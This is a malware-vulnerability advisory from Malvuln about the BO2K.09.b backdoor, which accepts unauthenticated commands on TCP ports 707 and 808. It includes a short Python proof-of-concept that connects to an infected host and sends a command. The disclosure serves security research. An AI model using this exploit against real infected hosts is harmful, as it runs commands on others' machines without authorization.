Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/90894ac48059687ea80e565f7529e53f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BO2K.09.b
Vulnerability: Unauthenticated Remote Command Execution
Description: Backdoor BO2K.09.b listens on TCP ports 707 and 808. Third party adversarys who can reach the system, can execute any command on the infected host using sockets or get a remote shell using telnet, curl etc.
Type: PE32
MD5: 90894ac48059687ea80e565f7529e53f
Vuln ID: MVID-2021-0120
Dropped files: 
Disclosure: 03/02/2021

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=707
CMD="calc\n"

def doit():
    try:
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_HOST,PORT))
    except Exception as e:
        print(str(e))

    res=""

    while True:
        res = s.recv(128)
        print(res)
        if "\n" in res or "\0" in res:
            break
        
    CMD.encode()
    s.send(CMD)
    time.sleep(2)
    s.close()

    print("Backdoor.Win32.BO2K.09.b / Unauthenticated Remote Command Execution");
    print("MD5: 90894ac48059687ea80e565f7529e53f");
    print("By Malvuln");

if __name__=="__main__":
    doit()

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